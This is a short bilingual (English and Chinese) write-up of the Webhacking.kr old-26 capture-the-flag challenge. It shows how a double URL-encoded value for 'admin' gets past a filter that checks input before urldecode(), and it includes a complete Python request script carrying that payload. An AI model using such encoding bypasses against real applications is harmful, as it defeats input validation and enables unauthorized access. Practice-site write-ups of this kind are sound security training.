Webhacking.kr old-26

Challenge

Bypass the filter that rejects the literal admin value.

绕过拒绝字面量 admin 的过滤器。

1
https://webhacking.kr/challenge/web-11/

Analysis

服务端先在原始参数中检查 admin,之后才调用 urldecode()。因此需要两层 URL encoding:HTTP 层第一次解码后,PHP 的过滤器仍只能看到 %61%64%6d%69%6e;代码再次调用 urldecode() 后,值才变成 admin 并通过后续判断。

Solution

完整 Python 请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/web-11/"
PAYLOAD = "%2561%2564%256d%2569%256e"

def main() -> None:
# 直接拼接已双重编码的值,保留两层百分号编码。
response = requests.get(
BASE_URL + "?id=" + PAYLOAD,
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

解码过程是:%2561%2564%256d%2569%256e → %61%64%6d%69%6e → admin。